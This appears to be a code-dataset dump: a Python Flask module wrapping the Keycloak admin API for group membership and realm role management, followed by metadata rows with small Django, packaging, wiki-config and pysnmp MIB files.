### GroupUsers
class GroupMembers(Resource):
def get_group_id(self,access_token,groupname):
group_id = ""
groups_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups?search=" + groupname
headers = {'Authorization': access_token}
r = requests.get(groups_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get group response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
result_json = r.json()
for item in result_json:
if item["name"] == groupname:
group_id = item["id"]
logger.info("Group search result => Group found and the id is => {0}".format(group_id))
break
return group_id,r
def get(self,groupname):
try:
access_token = request.headers.get('authorization')
logger.info("Get group members")
# Get group Id
group_id, res_group = self.get_group_id(access_token,groupname)
if res_group.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'group_members_retreival_successful',info_for_developer=" Please ensure that the provided access token is valid")
return resp
if group_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_members_retreival_failed', info_for_developer =" Group with given name does not exist.")
return resp
api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups/" + group_id + "/members"
headers = {'Authorization': access_token}
r = requests.get(api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Server response: \n response code => {0} \n returned message => {1}".format(r.status_code, r.text))
if r.status_code == HTTP_CODE_OK:
memberResults = r.json()
membersList = []
for member in memberResults:
memberDict = {}
memberDict["username"] = member["username"]
memberDict["firstName"] = member["firstName"]
memberDict["lastName"] = member["lastName"]
memberDict["email"] = member["email"]
memberDict["enabled"] = member["enabled"]
membersList.append(memberDict)
membersDict = {}
membersDict["members"] = membersList
resp = create_json_response(HTTP_CODE_OK,'group_members_retreival_successful', additional_json=membersDict)
else:
resp = create_json_response(r.status_code,'group_members_retreival_failed',info_for_developer=r.text)
return resp
except Exception as e:
logger.error("Exception occured during the processing of Group get request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_members_retreival_failed',additional_json=r)
return resp
### Users-Groups
class UsersGroups(Resource):
def get_user_id(self,access_token,username):
user_id = ""
users_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users?username=" + username
headers = {'Authorization': access_token}
r = requests.get(users_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get user id response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
ret = r.json()
if ret!=[]:
user_id = r.json()[0]['id']
return user_id,r
def get_group_id(self,access_token,groupname):
group_id = ""
groups_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/groups?search=" + groupname
headers = {'Authorization': access_token}
r = requests.get(groups_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get group response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
result_json = r.json()
for item in result_json:
if item["name"] == groupname:
group_id = item["id"]
logger.info("Group search result => Group found and the id is => {0}".format(group_id))
break
return group_id,r
def check_user_group_membership(self,access_token,user_id):
logger.info("Checking user membership for user_id => {0}".format(user_id))
access_token = request.headers.get('authorization')
headers = {'Authorization': access_token}
group_counts = 0
groups_count_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + user_id + "/groups/count"
headers = {'Authorization': access_token}
r = requests.get(groups_count_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("user groups count response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
result_json = r.json()
group_counts = int(result_json["count"])
return group_counts,r
# def check_user_membership_for_group(self,access_token,user_id,group_id):
# logger.info("Checking whether user => {0} is a member of group => {1}".format(user_id,group_id))
# access_token = request.headers.get('authorization')
# headers = {'Authorization': access_token}
# group_counts = 0
# groups_membership_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + user_id + "/groups"
# headers = {'Authorization': access_token}
# r = requests.get(groups_count_api_url,headers=headers)
# logger.info("user groups response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
# if r.status_code == HTTP_CODE_OK:
# result_json = r.json()
# group_counts = int(result_json["count"])
# return group_counts,r
def assign_user_to_group(self,access_token,user_id,group_id):
logger.info("Assigning user with id => {0} to group with id => {1}".format(user_id,group_id))
access_token = request.headers.get('authorization')
headers = {'Authorization': access_token}
user_group__api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + user_id + "/groups/" + group_id
headers = {'Authorization': access_token}
r = requests.put(user_group__api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("user to group assignment response => \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
return r
def put(self,username,groupname): # assign user to the group
try:
logger.info("Assign user => {0} to the group => {1}".format(username,groupname))
access_token = request.headers.get('authorization')
# Get user id for the given username
user_id, res_user = self.get_user_id(access_token,username)
# Get group id for the given groupname
group_id, res_group = self.get_group_id(access_token,groupname)
if res_user.status_code == HTTP_CODE_UNAUTHORIZED or res_group.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'group_assignment_failed',info_for_developer="Please ensure that the provided access token is valid")
return resp
if user_id == "" or group_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_assignment_failed', info_for_developer =" User/Group with given name does not exist.")
return resp
# Check if user is already member of another group or not. User can only be member of one group
groups_count, res_mem = self.check_user_group_membership(access_token,user_id)
if res_mem.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'group_assignment_failed',info_for_developer="Please ensure that the provided access token is valid")
return resp
if groups_count > 0:
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_assignment_failed', info_for_developer=" The specified user is already member of {0} groups.".format(groups_count))
return resp
# assign user to group
r = self.assign_user_to_group(access_token,user_id,group_id)
if r.status_code == 204:
disp_message = " The specified user: {0}, is successfully assigned to group {1}".format(username,groupname)
else:
disp_message = r.text
resp = create_json_response(r.status_code,'group_assignment_message', info_for_developer=disp_message)
return resp
except Exception as e:
logger.error("Exception occured during the processing of group assignment request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_creation_failed',additional_json=e)
return resp
def delete(self,username,groupname): # un-assign user to the group
try:
logger.info("Un-assigned user => {0} from the group => {1}".format(username,groupname))
access_token = request.headers.get('authorization')
# Get user id for the given username
user_id, res_user = self.get_user_id(access_token,username)
# Get group id for the given groupname
group_id, res_group = self.get_group_id(access_token,groupname)
if res_user.status_code == HTTP_CODE_UNAUTHORIZED or res_group.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'group_un_assignment_failed',info_for_developer="Please ensure that the provided access token is valid")
return resp
if user_id == "" or group_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_un_assignment_failed', info_for_developer =" User/Group with given name does not exist.")
return resp
delete_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + user_id + "/groups/" + group_id
headers = {'Authorization': access_token}
r = requests.delete(delete_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("unassigned group response: \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == 204:
disp_message = " The group => {0} is unassigned from user => {1} ".format(groupname, username)
else:
disp_message = r.text
resp = create_json_response(r.status_code,'group_unassigned_message', info_for_developer=disp_message)
return resp
except Exception as e:
logger.error("Exception occured during the processing of group unassignment request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'group_unassigned_message',additional_json=e)
return resp
### END - Groups
class Roles(Resource):
def get(self):
try:
roles_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/roles"
access_token = request.headers.get('authorization')
headers = {'Authorization': access_token}
r = requests.get(roles_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get roles response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
rolesList =[]
rolesData = {
'roles': rolesList
}
if r.status_code == HTTP_CODE_OK:
result_json = r.json()
for item in result_json:
rolesList.append(item["name"])
resp = create_json_response(HTTP_CODE_OK,"retrieve_roles_successful",additional_json=rolesData)
return resp
except Exception as e:
logger.error(e)
resp = create_json_response(HTTP_CODE_BAD_REQUEST,"retrieve_roles_failed",additional_json=r)
return resp
class UserRoles(Resource):
def get_user_id(self,access_token,username):
user_id = ""
users_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users?username=" + username
headers = {'Authorization': access_token}
r = requests.get(users_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get user id response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
ret = r.json()
if ret!=[]:
user_id = r.json()[0]['id']
return user_id,r
def get(self,username):
try:
access_token = request.headers.get('authorization')
# Get user id for the given username
user_id, res_user = self.get_user_id(access_token,username)
if res_user.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'retrieve_roles_failed',info_for_developer="Please ensure that the provided access token is valid")
return resp
if user_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'retrieve_roles_failed', info_for_developer =" User with given name does not exist.")
return resp
api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + user_id + "/role-mappings/realm"
headers = {'Authorization': access_token}
r = requests.get(api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get user role response: \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
rolesList =[]
rolesData = {
'roles': rolesList
}
if r.status_code == HTTP_CODE_OK:
result_json = r.json()
for item in result_json:
rolesList.append(item["name"])
resp = create_json_response(HTTP_CODE_OK,"retrieve_roles_successful",additional_json=rolesData)
else:
resp = create_json_response(HTTP_CODE_OK,"retrieve_roles_failed",additional_json=rolesData)
return resp
except Exception as e:
logger.error("Exception occured. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'retrieve_roles_failed',additional_json=e)
return resp
class UserRole(Resource):
def get_user_id(self,access_token,username):
user_id = ""
users_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users?username=" + username
headers = {'Authorization': access_token}
r = requests.get(users_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get user id response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
ret = r.json()
if ret!=[]:
user_id = r.json()[0]['id']
return user_id,r
def get_role_id(self,access_token,rolename):
role_id = ""
role_api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/roles/" + rolename
headers = {'Authorization': access_token}
r = requests.get(role_api_url,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Get role id response. \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == HTTP_CODE_OK:
result_json = r.json()
if "id" in result_json.keys():
role_id = result_json["id"]
logger.info("Role search result => Role found and the id is => {0}".format(role_id))
return role_id,r
def post(self,username,rolename): # assign role to user
try:
access_token = request.headers.get('authorization')
# Get user id for the given username
user_id, res_user = self.get_user_id(access_token,username)
if res_user.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'role_grant_failed',info_for_developer="Please ensure that the provided access token is valid")
return resp
if user_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'role_grant_failed', info_for_developer =" User with given name does not exist.")
return resp
role_id, res_role = self.get_role_id(access_token,rolename)
if res_user.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'role_grant_failed',info_for_developer="Please ensure that the provided access token is valid")
return resp
if role_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'role_grant_failed', info_for_developer =" Role with given name does not exist.")
return resp
api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + user_id + "/role-mappings/realm"
headers = {'Authorization': access_token}
roles = [{"id": role_id, "name": rolename}]
r = requests.post(api_url,json=roles,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("Delete role response: \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == 204:
disp_message = " The user: {0}, is granted the role of: {1}".format(username,rolename)
else:
disp_message = r.text
resp = create_json_response(r.status_code,'role_grant_message', info_for_developer=disp_message)
return resp
except Exception as e:
logger.error("Exception occured during the processing of role grant request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'role_grant_message',additional_json=e)
return resp
def delete(self,username,rolename): # revoke role from user
try:
access_token = request.headers.get('authorization')
# Get user id for the given username
user_id, res_user = self.get_user_id(access_token,username)
if res_user.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'role_revoke_failed',info_for_developer="Please ensure that the provided access token is valid")
return resp
if user_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'role_revoke_failed', info_for_developer =" User with given name does not exist.")
return resp
role_id, res_role = self.get_role_id(access_token,rolename)
if res_user.status_code == HTTP_CODE_UNAUTHORIZED:
resp = create_json_response(HTTP_CODE_UNAUTHORIZED,'role_revoke_failed',info_for_developer="Please ensure that the provided access token is valid")
return resp
if role_id == "":
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'role_revoke_failed', info_for_developer =" Role with given name does not exist.")
return resp
api_url = keycloak_server + "admin/realms/" + keycloak_realm + "/users/" + user_id + "/role-mappings/realm"
headers = {'Authorization': access_token}
roles = [{"id":role_id, "name": rolename}]
r = requests.delete(api_url,json=roles,headers=headers,cert =(ssl_cert,ssl_key))
logger.info("delete role response: \n status_code => {0} \n response_message => {1}".format(r.status_code,r.text))
if r.status_code == 204:
disp_message = " The role => {0} is now revoked from user => {1} ".format(roles, username)
else:
disp_message = r.text
resp = create_json_response(r.status_code,'role_revoke_message', info_for_developer=disp_message)
return resp
except Exception as e:
logger.error("Exception occured during the processing of role revokation request. The details of the exception are as follows: \n {0}".format(e))
resp = create_json_response(HTTP_CODE_BAD_REQUEST,'role_revoke_message',additional_json=e)
return resp
##### END - RESOURCES
| 51.601241 | 278 | 0.635129 | 8,033 | 66,514 | 4.986555 | 0.057139 | 0.032753 | 0.051676 | 0.062611 | 0.740744 | 0.723544 | 0.706219 | 0.68093 | 0.650523 | 0.621614 | 0 | 0.003363 | 0.262291 | 66,514 | 1,288 | 279 | 51.641304 | 0.812994 | 0.079833 | 0 | 0.563163 | 0 | 0.012536 | 0.214883 | 0.038882 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041466 | false | 0.009643 | 0.012536 | 0 | 0.170685 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
e6413c920130750b06f7ddc9d5c7f0e71139a278 | 147 | py | Python | src/easydmp/auth/api/v1/__init__.py | hmpf/easydmp | 650b241fedd839635335c1044f2d695f9c076e4c | [
"MIT"
] | 5 | 2018-09-25T15:48:39.000Z | 2020-06-04T11:56:36.000Z | src/easydmp/auth/api/v1/__init__.py | hmpf/easydmp | 650b241fedd839635335c1044f2d695f9c076e4c | [
"MIT"
] | 233 | 2018-01-10T17:28:41.000Z | 2022-03-30T09:38:03.000Z | src/easydmp/auth/api/v1/__init__.py | hmpf/easydmp | 650b241fedd839635335c1044f2d695f9c076e4c | [
"MIT"
] | 2 | 2019-02-07T10:34:09.000Z | 2019-03-12T07:25:09.000Z | from rest_framework.routers import DefaultRouter
from .views import UserViewSet
router = DefaultRouter()
router.register(r'users', UserViewSet)
| 18.375 | 48 | 0.816327 | 17 | 147 | 7 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108844 | 147 | 7 | 49 | 21 | 0.908397 | 0 | 0 | 0 | 0 | 0 | 0.034014 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
e641451be71f4908c3963b9c90d84d6419fe9513 | 263 | py | Python | oxford_term_dates/templatetags/oxford_term_dates.py | ox-it/oxford-term-dates | 943a05236a8a4d6178594ae1775a34ef19e7fe16 | [
"AFL-3.0"
] | 2 | 2016-01-13T15:19:17.000Z | 2020-05-16T07:13:38.000Z | oxford_term_dates/templatetags/oxford_term_dates.py | ox-it/oxford-term-dates | 943a05236a8a4d6178594ae1775a34ef19e7fe16 | [
"AFL-3.0"
] | null | null | null | oxford_term_dates/templatetags/oxford_term_dates.py | ox-it/oxford-term-dates | 943a05236a8a4d6178594ae1775a34ef19e7fe16 | [
"AFL-3.0"
] | 1 | 2020-05-16T07:13:41.000Z | 2020-05-16T07:13:41.000Z | from django import template
from .. import format_today, ox_date_dict
register = template.Library()
@register.simple_tag
def oxford_date_today():
return format_today()
@register.filter('oxdate')
def oxdate(value, arg):
return arg % ox_date_dict(value) | 20.230769 | 41 | 0.760456 | 37 | 263 | 5.162162 | 0.540541 | 0.115183 | 0.104712 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136882 | 263 | 13 | 42 | 20.230769 | 0.84141 | 0 | 0 | 0 | 0 | 0 | 0.022727 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.222222 | 0.222222 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
e661b30507b00999345e4d6f40c0c11655e1063e | 243 | py | Python | minigest/tributi/serializers/accertamento/erario.py | ctrlmaniac/minigest | 2bfceb57e41c872e4112e24d0e6991164846888b | [
"MIT"
] | null | null | null | minigest/tributi/serializers/accertamento/erario.py | ctrlmaniac/minigest | 2bfceb57e41c872e4112e24d0e6991164846888b | [
"MIT"
] | 1 | 2021-09-22T19:10:20.000Z | 2021-09-22T19:10:20.000Z | minigest/tributi/serializers/accertamento/erario.py | ctrlmaniac/minigest | 2bfceb57e41c872e4112e24d0e6991164846888b | [
"MIT"
] | null | null | null | from rest_framework import serializers
from ...models import AccertamentoSezErario
class AccertamentoSezErarioSerializer(serializers.ModelSerializer):
class Meta:
model = AccertamentoSezErario
exclude = ["accertamento"]
| 24.3 | 67 | 0.773663 | 19 | 243 | 9.842105 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.168724 | 243 | 9 | 68 | 27 | 0.925743 | 0 | 0 | 0 | 0 | 0 | 0.049383 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
0502db512f0585d7c5ca63a4d7ec2113fcf0c20d | 133 | py | Python | setup.py | thearn/pyemotiv | 0e7929a36f95d48c9eacf86237878f013a5c8db4 | [
"Apache-2.0"
] | 17 | 2015-01-21T04:50:14.000Z | 2020-07-15T11:56:58.000Z | setup.py | thearn/pyemotiv | 0e7929a36f95d48c9eacf86237878f013a5c8db4 | [
"Apache-2.0"
] | 1 | 2016-09-14T16:59:36.000Z | 2016-11-06T16:04:01.000Z | setup.py | thearn/pyemotiv | 0e7929a36f95d48c9eacf86237878f013a5c8db4 | [
"Apache-2.0"
] | 9 | 2015-08-09T15:28:27.000Z | 2021-12-10T22:00:49.000Z | from setuptools import setup
setup(name='pyemotiv',
version='0.1',
install_requires=['numpy'],
packages=['pyemotiv'],
)
| 16.625 | 31 | 0.661654 | 15 | 133 | 5.8 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018018 | 0.165414 | 133 | 7 | 32 | 19 | 0.765766 | 0 | 0 | 0 | 0 | 0 | 0.180451 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0509f263bf4c7488c0e711eabdd85de7a2ead52a | 384 | py | Python | config.py | WillStOnge/CSC-440-Project | a7f5a01ec2a68513ee95076d55f34074223e1cdd | [
"BSD-3-Clause"
] | null | null | null | config.py | WillStOnge/CSC-440-Project | a7f5a01ec2a68513ee95076d55f34074223e1cdd | [
"BSD-3-Clause"
] | null | null | null | config.py | WillStOnge/CSC-440-Project | a7f5a01ec2a68513ee95076d55f34074223e1cdd | [
"BSD-3-Clause"
] | null | null | null | TITLE = "PyKi"
PRIVATE = True
FILE_SIZE_MAX_MB = 16
SECRET_KEY= "a unique and long key"
CONTENT_DIR = "C:\\Users\\ongew\\Desktop\\Transfer\\CSC 440\\Projects\\PyKi\\content"
UPLOAD_DIR = "C:\\Users\\ongew\\Desktop\\Transfer\\CSC 440\\Projects\\PyKi\\wiki\\web\\static\\upload"
CONNECTION_STRING = "DRIVER={SQLite3 ODBC Driver};SERVER=localhost;DATABASE=PyKi.db;Trusted_connection=yes" | 54.857143 | 107 | 0.755208 | 57 | 384 | 4.947368 | 0.701754 | 0.028369 | 0.06383 | 0.099291 | 0.333333 | 0.333333 | 0.333333 | 0.333333 | 0.333333 | 0.333333 | 0 | 0.02521 | 0.070313 | 384 | 7 | 107 | 54.857143 | 0.764706 | 0 | 0 | 0 | 0 | 0.142857 | 0.690909 | 0.566234 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
05667fc36f99bb4c2431c4ffa6d0e84774334dd6 | 10,923 | py | Python | pysnmp/Nortel-Magellan-Passport-ModAtmQosMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/Nortel-Magellan-Passport-ModAtmQosMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/Nortel-Magellan-Passport-ModAtmQosMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module Nortel-Magellan-Passport-ModAtmQosMIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Nortel-Magellan-Passport-ModAtmQosMIB
# Produced by pysmi-0.3.4 at Mon Apr 29 20:18:26 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, SingleValueConstraint, ValueSizeConstraint, ConstraintsUnion, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "SingleValueConstraint", "ValueSizeConstraint", "ConstraintsUnion", "ConstraintsIntersection")
modFrsIndex, modFrs = mibBuilder.importSymbols("Nortel-Magellan-Passport-ModCommonMIB", "modFrsIndex", "modFrs")
modIndex, = mibBuilder.importSymbols("Nortel-Magellan-Passport-ShelfMIB", "modIndex")
Unsigned32, StorageType, RowStatus, Integer32, DisplayString = mibBuilder.importSymbols("Nortel-Magellan-Passport-StandardTextualConventionsMIB", "Unsigned32", "StorageType", "RowStatus", "Integer32", "DisplayString")
NonReplicated, = mibBuilder.importSymbols("Nortel-Magellan-Passport-TextualConventionsMIB", "NonReplicated")
passportMIBs, = mibBuilder.importSymbols("Nortel-Magellan-Passport-UsefulDefinitionsMIB", "passportMIBs")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
Unsigned32, Counter64, iso, MibScalar, MibTable, MibTableRow, MibTableColumn, Integer32, NotificationType, IpAddress, Counter32, Gauge32, ObjectIdentity, Bits, MibIdentifier, ModuleIdentity, TimeTicks = mibBuilder.importSymbols("SNMPv2-SMI", "Unsigned32", "Counter64", "iso", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Integer32", "NotificationType", "IpAddress", "Counter32", "Gauge32", "ObjectIdentity", "Bits", "MibIdentifier", "ModuleIdentity", "TimeTicks")
TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString")
modAtmQosMIB = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 75))
modFrsAtmNet = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2))
modFrsAtmNetRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 1), )
if mibBuilder.loadTexts: modFrsAtmNetRowStatusTable.setStatus('mandatory')
modFrsAtmNetRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-ShelfMIB", "modIndex"), (0, "Nortel-Magellan-Passport-ModCommonMIB", "modFrsIndex"), (0, "Nortel-Magellan-Passport-ModAtmQosMIB", "modFrsAtmNetIndex"))
if mibBuilder.loadTexts: modFrsAtmNetRowStatusEntry.setStatus('mandatory')
modFrsAtmNetRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 1, 1, 1), RowStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: modFrsAtmNetRowStatus.setStatus('mandatory')
modFrsAtmNetComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: modFrsAtmNetComponentName.setStatus('mandatory')
modFrsAtmNetStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: modFrsAtmNetStorageType.setStatus('mandatory')
modFrsAtmNetIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 1, 1, 10), NonReplicated())
if mibBuilder.loadTexts: modFrsAtmNetIndex.setStatus('mandatory')
modFrsAtmNetProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 10), )
if mibBuilder.loadTexts: modFrsAtmNetProvTable.setStatus('mandatory')
modFrsAtmNetProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-ShelfMIB", "modIndex"), (0, "Nortel-Magellan-Passport-ModCommonMIB", "modFrsIndex"), (0, "Nortel-Magellan-Passport-ModAtmQosMIB", "modFrsAtmNetIndex"))
if mibBuilder.loadTexts: modFrsAtmNetProvEntry.setStatus('mandatory')
modFrsAtmNetRetryTimerPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 10, 1, 1), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(30, 300)).clone(60)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: modFrsAtmNetRetryTimerPeriod.setStatus('mandatory')
modFrsAtmNetTpm = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2))
modFrsAtmNetTpmRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 16, 3, 2, 2, 1), )
if mibBuilder.loadTexts: modFrsAtmNetTpmRowStatusTable.setStatus('mandatory')
